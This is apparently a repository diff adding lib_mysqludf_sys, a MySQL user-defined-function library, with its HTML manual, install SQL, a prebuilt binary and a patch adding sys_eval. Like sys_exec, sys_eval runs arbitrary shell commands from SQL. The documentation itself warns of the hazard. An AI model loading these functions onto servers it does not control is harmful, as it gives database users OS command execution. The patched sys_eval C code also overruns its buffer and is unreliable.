||||||
|
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
|
||||||
|
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
|
||||||
|
</ol>
|
||||||
|
<p>
|
||||||
|
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
|
||||||
|
<a name="sys_eval"></a><h2>sys_eval</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_eval</code> takes one command string argument and executes it, returning its output.
|
||||||
|
</p>
|
||||||
|
<h3>Syntax</h3>
|
||||||
|
<pre>sys_eval(<b>arg1</b>)</pre>
|
||||||
|
<h3>Parameters and Return Values</h3>
|
||||||
|
<dl>
|
||||||
|
<dt><code><b>arg1</b></code></dt>
|
||||||
|
<dd>
|
||||||
|
A command string valid for the current operating system or execution environment.
|
||||||
|
</dd>
|
||||||
|
<dt>returns</dt>
|
||||||
|
<dd>
|
||||||
|
Whatever output the command pushed to the standard output stream.
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
<h3>Installation</h3>
|
||||||
|
<p>
|
||||||
|
Place the shared library binary in an appropriate location.
|
||||||
|
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||||
|
Then, create the function using the following DDL statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||||
|
</pre>
|
||||||
|
<p>
|
||||||
|
The function will be globally available in all databases.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The deinstall the function, run the following statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
DROP FUNCTION sys_eval;
|
||||||
|
</pre>
|
||||||
|
<h3>Examples</h3>
|
||||||
|
<p>
|
||||||
|
None yet
|
||||||
|
</p>
|
||||||
|
<h3>A Note of Caution</h3>
|
||||||
|
<p>
|
||||||
|
Be very careful in deciding whether you need this function.
|
||||||
|
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||||
|
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
|
||||||
|
exposing the function poses a very real security hazard.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Even for a benign user, it is possible to accidentally do a lot of damage with it.
|
||||||
|
The call will be executed with the privileges of the os user that runs MySQL,
|
||||||
|
so it is entirely feasible to delete MySQL's data directory, or worse.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The function is intended for specialized MySQL applications where one needs extended
|
||||||
|
control over the operating system.
|
||||||
|
Currently, we do not have UDF's for ftp, email and http,
|
||||||
|
and this function can be used to implement such functionality in case it is really necessary
|
||||||
|
(datawarehouse staging areas could be a case in example).
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<a name="sys_exec"></a><h2>sys_exec</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_exec</code> takes one command string argument and executes it.
|
||||||
|
</p>
|
||||||
|
<h3>Syntax</h3>
|
||||||
|
<pre>sys_exec(<b>arg1</b>)</pre>
|
||||||
|
<h3>Parameters and Return Values</h3>
|
||||||
|
<dl>
|
||||||
|
<dt><code><b>arg1</b></code></dt>
|
||||||
|
<dd>
|
||||||
|
A command string valid for the current operating system or execution environment.
|
||||||
|
</dd>
|
||||||
|
<dt>returns</dt>
|
||||||
|
<dd>
|
||||||
|
An (integer) exit code returned by the executed process.
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
<h3>Installation</h3>
|
||||||
|
<p>
|
||||||
|
Place the shared library binary in an appropriate location.
|
||||||
|
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||||
|
Then, create the function using the following DDL statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
|
||||||
|
</pre>
|
||||||
|
<p>
|
||||||
|
The function will be globally available in all databases.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The deinstall the function, run the following statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
DROP FUNCTION sys_exec;
|
||||||
|
</pre>
|
||||||
|
<h3>Examples</h3>
|
||||||
|
<p>
|
||||||
|
None yet
|
||||||
|
</p>
|
||||||
|
<h3>A Note of Caution</h3>
|
||||||
|
<p>
|
||||||
|
Be very careful in deciding whether you need this function.
|
||||||
|
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||||
|
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
|
||||||
|
exposing the function poses a very real security hazard.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Even for a benign user, it is possible to accidentally do a lot of damage with it.
|
||||||
|
The call will be executed with the privileges of the os user that runs MySQL,
|
||||||
|
so it is entirely feasible to delete MySQL's data directory, or worse.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The function is intended for specialized MySQL applications where one needs extended
|
||||||
|
control over the operating system.
|
||||||
|
Currently, we do not have UDF's for ftp, email and http,
|
||||||
|
and this function can be used to implement such functionality in case it is really necessary
|
||||||
|
(datawarehouse staging areas could be a case in example).
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||||
|
</p>
|
||||||
|
<a name="sys_get"></a><h2>sys_get</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
|
||||||
|
</p>
|
||||||
|
<h3>Syntax</h3>
|
||||||
|
<pre>sys_get([<b>arg1</b>)</pre>
|
||||||
|
<h3>Parameters and Return Values</h3>
|
||||||
|
<dl>
|
||||||
|
<dt><code><b>arg1</b></code></dt>
|
||||||
|
<dd>
|
||||||
|
A string that denotes the name of an environment value.
|
||||||
|
</dd>
|
||||||
|
<dt>returns</dt>
|
||||||
|
<dd>
|
||||||
|
If the variable exists, a string containing the value of the environment variable.
|
||||||
|
If the variable does not exist, the function return NULL.
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
<h3>Installation</h3>
|
||||||
|
<p>
|
||||||
|
Place the shared library binary in an appropriate location.
|
||||||
|
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||||
|
Then, create the function using the following DDL statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
CREATE FUNCTION sys_get RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||||
|
</pre>
|
||||||
|
<p>
|
||||||
|
The function will be globally available in all databases.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The deinstall the function, run the following statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
DROP FUNCTION sys_get;
|
||||||
|
</pre>
|
||||||
|
<h3>Examples</h3>
|
||||||
|
<p>
|
||||||
|
None yet
|
||||||
|
</p>
|
||||||
|
<h3>A Note of Caution</h3>
|
||||||
|
<p>
|
||||||
|
Be very careful in deciding whether you need this function.
|
||||||
|
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||||
|
The variables known in the environment where mysql runs are freely accessible using this function.
|
||||||
|
Any user can get access to potentially secret information, such as
|
||||||
|
the user that is running mysqld, the path of the user's home directory etc.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The function is intended for specialized MySQL applications where one needs extended
|
||||||
|
control over the operating system.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
</p>
|
||||||
|
<a name="sys_set"></a><h2>sys_set</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
|
||||||
|
</p>
|
||||||
|
<h3>Syntax</h3>
|
||||||
|
<pre>sys_set([<b>arg1, arg2</b>)</pre>
|
||||||
|
<h3>Parameters and Return Values</h3>
|
||||||
|
<dl>
|
||||||
|
<dt><code><b>arg1</b></code></dt>
|
||||||
|
<dd>
|
||||||
|
A string that denotes the name of an environment value.
|
||||||
|
</dd>
|
||||||
|
<dt><code><b>arg2</b></code></dt>
|
||||||
|
<dd>
|
||||||
|
An expression that contains the value that is to be assigned to the environment variable.
|
||||||
|
</dd>
|
||||||
|
<dt>returns</dt>
|
||||||
|
<dd>
|
||||||
|
0 if the assignment or creation succeed.
|
||||||
|
non-zero otherwise.
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
<h3>Installation</h3>
|
||||||
|
<p>
|
||||||
|
Place the shared library binary in an appropriate location.
|
||||||
|
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||||
|
Then, create the function using the following DDL statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
CREATE FUNCTION sys_set RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||||
|
</pre>
|
||||||
|
<p>
|
||||||
|
The function will be globally available in all databases.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The deinstall the function, run the following statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
DROP FUNCTION sys_set;
|
||||||
|
</pre>
|
||||||
|
<h3>Examples</h3>
|
||||||
|
<p>
|
||||||
|
None yet
|
||||||
|
</p>
|
||||||
|
<h3>A Note of Caution</h3>
|
||||||
|
<p>
|
||||||
|
Be very careful in deciding whether you need this function.
|
||||||
|
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||||
|
This function will overwrite existing environment variables.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The function is intended for specialized MySQL applications where one needs extended
|
||||||
|
control over the operating system.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
</p>
|
||||||
|
</body>
|
||||||
|
</html
|
||||||
BIN
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.so
Executable file
BIN
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.so
Executable file
Binary file not shown.
33
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.sql
Normal file
33
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.sql
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
/*
|
||||||
|
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2007 Roland Bouman
|
||||||
|
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
web: http://www.mysqludf.org/
|
||||||
|
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
||||||
|
DROP FUNCTION IF EXISTS sys_get;
|
||||||
|
DROP FUNCTION IF EXISTS sys_set;
|
||||||
|
DROP FUNCTION IF EXISTS sys_exec;
|
||||||
|
DROP FUNCTION IF EXISTS sys_eval;
|
||||||
|
|
||||||
|
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
|
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
|
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
354
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch
Normal file
354
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch
Normal file
@@ -0,0 +1,354 @@
|
|||||||
|
diff -uN lib_mysqludf_sys_0.0.2/install.sh lib_mysqludf_sys/install.sh
|
||||||
|
--- lib_mysqludf_sys_0.0.2/install.sh 1970-01-01 01:00:00.000000000 +0100
|
||||||
|
+++ lib_mysqludf_sys/install.sh 2009-01-21 00:51:52.000000000 +0000
|
||||||
|
@@ -0,0 +1,43 @@
|
||||||
|
+#!/bin/bash
|
||||||
|
+# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
+# Copyright (C) 2007 Roland Bouman
|
||||||
|
+# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
+# web: http://www.mysqludf.org/
|
||||||
|
+# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||||
|
+#
|
||||||
|
+# This library is free software; you can redistribute it and/or
|
||||||
|
+# modify it under the terms of the GNU Lesser General Public
|
||||||
|
+# License as published by the Free Software Foundation; either
|
||||||
|
+# version 2.1 of the License, or (at your option) any later version.
|
||||||
|
+#
|
||||||
|
+# This library is distributed in the hope that it will be useful,
|
||||||
|
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
+# Lesser General Public License for more details.
|
||||||
|
+#
|
||||||
|
+# You should have received a copy of the GNU Lesser General Public
|
||||||
|
+# License along with this library; if not, write to the Free Software
|
||||||
|
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
+
|
||||||
|
+echo "Compiling the MySQL UDF"
|
||||||
|
+make
|
||||||
|
+
|
||||||
|
+if test $? -ne 0; then
|
||||||
|
+ echo "ERROR: You need libmysqlclient development software installed "
|
||||||
|
+ echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||||
|
+ echo "apt-get install libmysqlclient15-dev"
|
||||||
|
+ exit 1
|
||||||
|
+else
|
||||||
|
+ echo "MySQL UDF compiled successfully"
|
||||||
|
+fi
|
||||||
|
+
|
||||||
|
+echo -e "\nPlease provide your MySQL root password"
|
||||||
|
+
|
||||||
|
+mysql -u root -p mysql < lib_mysqludf_sys.sql
|
||||||
|
+
|
||||||
|
+if test $? -ne 0; then
|
||||||
|
+ echo "ERROR: unable to install the UDF"
|
||||||
|
+ exit 1
|
||||||
|
+else
|
||||||
|
+ echo "MySQL UDF installed successfully"
|
||||||
|
+fi
|
||||||
|
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys_0.0.2.tar.gz and lib_mysqludf_sys/lib_mysqludf_sys_0.0.2.tar.gz differ
|
||||||
|
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c lib_mysqludf_sys/lib_mysqludf_sys.c
|
||||||
|
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c 2009-01-22 12:01:55.000000000 +0000
|
||||||
|
+++ lib_mysqludf_sys/lib_mysqludf_sys.c 2009-01-21 00:06:13.000000000 +0000
|
||||||
|
@@ -1,8 +1,9 @@
|
||||||
|
/*
|
||||||
|
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2007 Roland Bouman
|
||||||
|
- web: http://www.xcdsql.org/MySQL/UDF/
|
||||||
|
- email: mysqludfs@gmail.com
|
||||||
|
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
+ web: http://www.mysqludf.org/
|
||||||
|
+ email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
@@ -51,7 +52,7 @@
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
-#define LIBVERSION "lib_mysqludf_sys version 0.0.2"
|
||||||
|
+#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
|
||||||
|
|
||||||
|
#ifdef __WIN__
|
||||||
|
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||||
|
@@ -139,7 +140,7 @@
|
||||||
|
/**
|
||||||
|
* sys_exec
|
||||||
|
*
|
||||||
|
- * executes the argument commandstring.
|
||||||
|
+ * executes the argument commandstring and returns its exit status.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
@@ -162,6 +163,34 @@
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
+/**
|
||||||
|
+ * sys_eval
|
||||||
|
+ *
|
||||||
|
+ * executes the argument commandstring and returns its standard output.
|
||||||
|
+ * Beware that this can be a security hazard.
|
||||||
|
+ */
|
||||||
|
+DLLEXP
|
||||||
|
+my_bool sys_eval_init(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+, UDF_ARGS *args
|
||||||
|
+, char *message
|
||||||
|
+);
|
||||||
|
+
|
||||||
|
+DLLEXP
|
||||||
|
+void sys_eval_deinit(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+);
|
||||||
|
+
|
||||||
|
+DLLEXP
|
||||||
|
+char* sys_eval(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+, UDF_ARGS *args
|
||||||
|
+, char* result
|
||||||
|
+, unsigned long* length
|
||||||
|
+, char *is_null
|
||||||
|
+, char *error
|
||||||
|
+);
|
||||||
|
+
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
@@ -336,5 +365,62 @@
|
||||||
|
return system(args->args[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
+my_bool sys_eval_init(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+, UDF_ARGS *args
|
||||||
|
+, char *message
|
||||||
|
+){
|
||||||
|
+ unsigned int i=0;
|
||||||
|
+ if(args->arg_count == 1
|
||||||
|
+ && args->arg_type[i]==STRING_RESULT){
|
||||||
|
+ return 0;
|
||||||
|
+ } else {
|
||||||
|
+ strcpy(
|
||||||
|
+ message
|
||||||
|
+ , "Expected exactly one string type parameter"
|
||||||
|
+ );
|
||||||
|
+ return 1;
|
||||||
|
+ }
|
||||||
|
+}
|
||||||
|
+void sys_eval_deinit(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+){
|
||||||
|
+}
|
||||||
|
+char* sys_eval(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+, UDF_ARGS *args
|
||||||
|
+, char* result
|
||||||
|
+, unsigned long* length
|
||||||
|
+, char *is_null
|
||||||
|
+, char *error
|
||||||
|
+){
|
||||||
|
+ FILE *pipe;
|
||||||
|
+ char line[1024];
|
||||||
|
+ unsigned long outlen, linelen;
|
||||||
|
+
|
||||||
|
+ result = malloc(1);
|
||||||
|
+ outlen = 0;
|
||||||
|
+
|
||||||
|
+ pipe = popen(args->args[0], "r");
|
||||||
|
+
|
||||||
|
+ while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||||
|
+ linelen = strlen(line);
|
||||||
|
+ result = realloc(result, outlen + linelen);
|
||||||
|
+ strncpy(result + outlen, line, linelen);
|
||||||
|
+ outlen = outlen + linelen;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ pclose(pipe);
|
||||||
|
+
|
||||||
|
+ if (!(*result) || result == NULL) {
|
||||||
|
+ *is_null = 1;
|
||||||
|
+ } else {
|
||||||
|
+ result[outlen] = 0x00;
|
||||||
|
+ *length = strlen(result);
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ return result;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
|
||||||
|
#endif /* HAVE_DLOPEN */
|
||||||
|
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html lib_mysqludf_sys/lib_mysqludf_sys.html
|
||||||
|
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html 2009-01-22 12:01:55.000000000 +0000
|
||||||
|
+++ lib_mysqludf_sys/lib_mysqludf_sys.html 2009-01-22 10:21:46.000000000 +0000
|
||||||
|
@@ -23,7 +23,8 @@
|
||||||
|
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
|
||||||
|
</p>
|
||||||
|
<ol>
|
||||||
|
- <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and can thus be used to launch an external application.</li>
|
||||||
|
+ <li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
|
||||||
|
+ <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
|
||||||
|
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
|
||||||
|
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
|
||||||
|
</ol>
|
||||||
|
@@ -31,6 +32,72 @@
|
||||||
|
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
+
|
||||||
|
+ <a name="sys_eval"></a><h2>sys_eval</h2>
|
||||||
|
+ <p>
|
||||||
|
+ <code>sys_eval</code> takes one command string argument and executes it, returning its output.
|
||||||
|
+ </p>
|
||||||
|
+ <h3>Syntax</h3>
|
||||||
|
+<pre>sys_eval(<b>arg1</b>)</pre>
|
||||||
|
+ <h3>Parameters and Return Values</h3>
|
||||||
|
+ <dl>
|
||||||
|
+ <dt><code><b>arg1</b></code></dt>
|
||||||
|
+ <dd>
|
||||||
|
+ A command string valid for the current operating system or execution environment.
|
||||||
|
+ </dd>
|
||||||
|
+ <dt>returns</dt>
|
||||||
|
+ <dd>
|
||||||
|
+ Whatever output the command pushed to the standard output stream.
|
||||||
|
+ </dd>
|
||||||
|
+ </dl>
|
||||||
|
+ <h3>Installation</h3>
|
||||||
|
+ <p>
|
||||||
|
+ Place the shared library binary in an appropriate location.
|
||||||
|
+ Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||||
|
+ Then, create the function using the following DDL statement:
|
||||||
|
+ </p>
|
||||||
|
+ <pre>
|
||||||
|
+CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||||
|
+ </pre>
|
||||||
|
+ <p>
|
||||||
|
+ The function will be globally available in all databases.
|
||||||
|
+ </p>
|
||||||
|
+ <p>
|
||||||
|
+ The deinstall the function, run the following statement:
|
||||||
|
+ </p>
|
||||||
|
+ <pre>
|
||||||
|
+DROP FUNCTION sys_eval;
|
||||||
|
+ </pre>
|
||||||
|
+ <h3>Examples</h3>
|
||||||
|
+ <p>
|
||||||
|
+ None yet
|
||||||
|
+ </p>
|
||||||
|
+ <h3>A Note of Caution</h3>
|
||||||
|
+ <p>
|
||||||
|
+ Be very careful in deciding whether you need this function.
|
||||||
|
+ UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||||
|
+ As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
|
||||||
|
+ exposing the function poses a very real security hazard.
|
||||||
|
+ </p>
|
||||||
|
+ <p>
|
||||||
|
+ Even for a benign user, it is possible to accidentally do a lot of damage with it.
|
||||||
|
+ The call will be executed with the privileges of the os user that runs MySQL,
|
||||||
|
+ so it is entirely feasible to delete MySQL's data directory, or worse.
|
||||||
|
+ </p>
|
||||||
|
+ <p>
|
||||||
|
+ The function is intended for specialized MySQL applications where one needs extended
|
||||||
|
+ control over the operating system.
|
||||||
|
+ Currently, we do not have UDF's for ftp, email and http,
|
||||||
|
+ and this function can be used to implement such functionality in case it is really necessary
|
||||||
|
+ (datawarehouse staging areas could be a case in example).
|
||||||
|
+ </p>
|
||||||
|
+ <p>
|
||||||
|
+ You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
+ </p>
|
||||||
|
+ <p>
|
||||||
|
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||||
|
+ </p>
|
||||||
|
+
|
||||||
|
<a name="sys_exec"></a><h2>sys_exec</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_exec</code> takes one command string argument and executes it.
|
||||||
|
@@ -92,6 +159,9 @@
|
||||||
|
<p>
|
||||||
|
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
</p>
|
||||||
|
+ <p>
|
||||||
|
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||||
|
+ </p>
|
||||||
|
<a name="sys_get"></a><h2>sys_get</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
|
||||||
|
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.so and lib_mysqludf_sys/lib_mysqludf_sys.so differ
|
||||||
|
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql lib_mysqludf_sys/lib_mysqludf_sys.sql
|
||||||
|
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql 2009-01-22 12:01:55.000000000 +0000
|
||||||
|
+++ lib_mysqludf_sys/lib_mysqludf_sys.sql 2009-01-22 10:21:53.000000000 +0000
|
||||||
|
@@ -1,30 +1,33 @@
|
||||||
|
-/*
|
||||||
|
- lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
- Copyright (C) 2007 Roland Bouman
|
||||||
|
- web: http://www.xcdsql.org/MySQL/UDF/
|
||||||
|
- email: mysqludfs@gmail.com
|
||||||
|
-
|
||||||
|
- This library is free software; you can redistribute it and/or
|
||||||
|
- modify it under the terms of the GNU Lesser General Public
|
||||||
|
- License as published by the Free Software Foundation; either
|
||||||
|
- version 2.1 of the License, or (at your option) any later version.
|
||||||
|
-
|
||||||
|
- This library is distributed in the hope that it will be useful,
|
||||||
|
- but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
- Lesser General Public License for more details.
|
||||||
|
-
|
||||||
|
- You should have received a copy of the GNU Lesser General Public
|
||||||
|
- License along with this library; if not, write to the Free Software
|
||||||
|
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
+/*
|
||||||
|
+ lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
+ Copyright (C) 2007 Roland Bouman
|
||||||
|
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
+ web: http://www.mysqludf.org/
|
||||||
|
+ email: roland.bouman@gmail.com, bernardo.damele@gmail.com
|
||||||
|
+
|
||||||
|
+ This library is free software; you can redistribute it and/or
|
||||||
|
+ modify it under the terms of the GNU Lesser General Public
|
||||||
|
+ License as published by the Free Software Foundation; either
|
||||||
|
+ version 2.1 of the License, or (at your option) any later version.
|
||||||
|
+
|
||||||
|
+ This library is distributed in the hope that it will be useful,
|
||||||
|
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
+ Lesser General Public License for more details.
|
||||||
|
+
|
||||||
|
+ You should have received a copy of the GNU Lesser General Public
|
||||||
|
+ License along with this library; if not, write to the Free Software
|
||||||
|
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
-drop function lib_mysqludf_sys_info;
|
||||||
|
-drop function sys_get;
|
||||||
|
-drop function sys_set;
|
||||||
|
-drop function sys_exec;
|
||||||
|
+DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
||||||
|
+DROP FUNCTION IF EXISTS sys_get;
|
||||||
|
+DROP FUNCTION IF EXISTS sys_set;
|
||||||
|
+DROP FUNCTION IF EXISTS sys_exec;
|
||||||
|
+DROP FUNCTION IF EXISTS sys_eval;
|
||||||
|
|
||||||
|
-create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
|
||||||
|
-create function sys_get returns string soname 'lib_mysqludf_sys.so';
|
||||||
|
-create function sys_set returns int soname 'lib_mysqludf_sys.so';
|
||||||
|
-create function sys_exec returns int soname 'lib_mysqludf_sys.so';
|
||||||
|
+CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
+CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
+CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
|
